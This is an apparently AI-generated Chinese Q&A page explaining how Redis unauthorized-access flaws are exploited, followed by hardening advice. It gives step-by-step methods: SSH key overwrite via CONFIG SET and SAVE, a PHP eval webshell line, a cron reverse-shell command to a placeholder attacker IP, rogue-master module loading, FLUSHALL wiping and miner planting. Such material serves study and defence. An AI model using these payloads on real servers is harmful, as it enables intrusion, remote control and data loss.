描述一下Redis未授权访问漏洞的利用方式
Redis未授权访问漏洞是指攻击者在未经验证的情况下,直接连接到开放的Redis服务(默认端口6379),并利用其内置命令执行恶意操作。以下是主要的利用方式:
1. 信息泄露与敏感操作
- 获取数据库信息:使用
INFO命令可获取Redis版本、操作系统内核、数据目录等敏感信息。 - 枚举所有数据:通过
KEYS *命令列出所有键,结合GET、HGETALL等命令读取数据。
2. 写入SSH公钥获取服务器权限
- 原理:若Redis以root权限运行,且服务器开启了SSH服务,攻击者可覆盖或写入SSH公钥到
/root/.ssh/authorized_keys文件。 - 步骤:
- 本地生成SSH密钥对:
ssh-keygen -t rsa。 - 将公钥写入文件,并利用Redis的
SET命令将其写入目标服务器的Redis内存。 - 通过
CONFIG SET dir和CONFIG SET dbfilename命令设置Redis持久化目录为/root/.ssh/,文件名设为authorized_keys。 - 执行
SAVE命令将内存数据导出到文件,从而完成公钥写入。 - 攻击者可直接通过SSH私钥登录服务器。
- 本地生成SSH密钥对:
3. 写入Webshell控制网站
- 适用场景:已知目标服务器Web目录路径,且Redis具有该目录写权限。
- 步骤:
- 通过
CONFIG SET dir设置目录为Web根路径(如/var/www/html)。 - 使用
SET命令将一句话木马(如<?php @eval($_POST['cmd']);?>)写入值为PHP文件的内容。 - 通过
CONFIG SET dbfilename设置导出文件名为shell.php。 - 执行
SAVE导出文件,攻击者即可通过Web访问该shell执行系统命令。
- 通过
4. 写入计划任务(Cron)反弹Shell
- 原理:Linux系统可通过Cron任务定时执行命令。
- 步骤:
- 设置Redis持久化目录为
/etc/cron.d/(或其他Cron目录)。 - 写入键值对,内容为计划任务命令(如
* * * * * root /bin/bash -i >& /dev/tcp/攻击者IP/端口 0>&1)。 - 设置导出文件名为任务文件(如
root-shell),执行SAVE。 - Cron会定时执行该任务,向攻击者服务器反弹Shell。
- 设置Redis持久化目录为
5. 利用主从复制功能执行代码
- 原理:Redis主从复制机制中,从节点可同步主节点的数据和代码。
- 步骤:
- 攻击者搭建恶意Redis服务器,伪装成主节点,并在数据中插入恶意模块(如
.so扩展模块)。 - 通过
SLAVEOF命令使目标Redis设置为从节点,同步恶意数据。 - 加载恶意模块并执行任意代码(如系统命令执行)。
- 攻击者搭建恶意Redis服务器,伪装成主节点,并在数据中插入恶意模块(如
6. 其他利用方式
- 数据篡改或删除:直接使用
FLUSHALL清空数据,或修改业务关键数据。 - 作为内网渗透跳板:通过 Redis 的
SLAVEOF或模块功能进一步渗透内网。 - 挖矿木马植入:写入挖矿程序或持久化后门。
漏洞修复建议
- 启用认证:在配置文件中设置
requirepass强密码。 - 限制网络访问:通过防火墙限制Redis端口仅对可信IP开放,避免绑定在
0.0.0.0。 - 降权运行:使用非root用户运行Redis服务。
- 禁用高危命令:在配置文件中使用
rename-command重命名或禁用CONFIG、SLAVEOF、EVAL等危险命令。 - 启用保护模式:确保
protected-mode设置为yes(Redis 3.2+ 默认启用)。
所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。
评论 (0)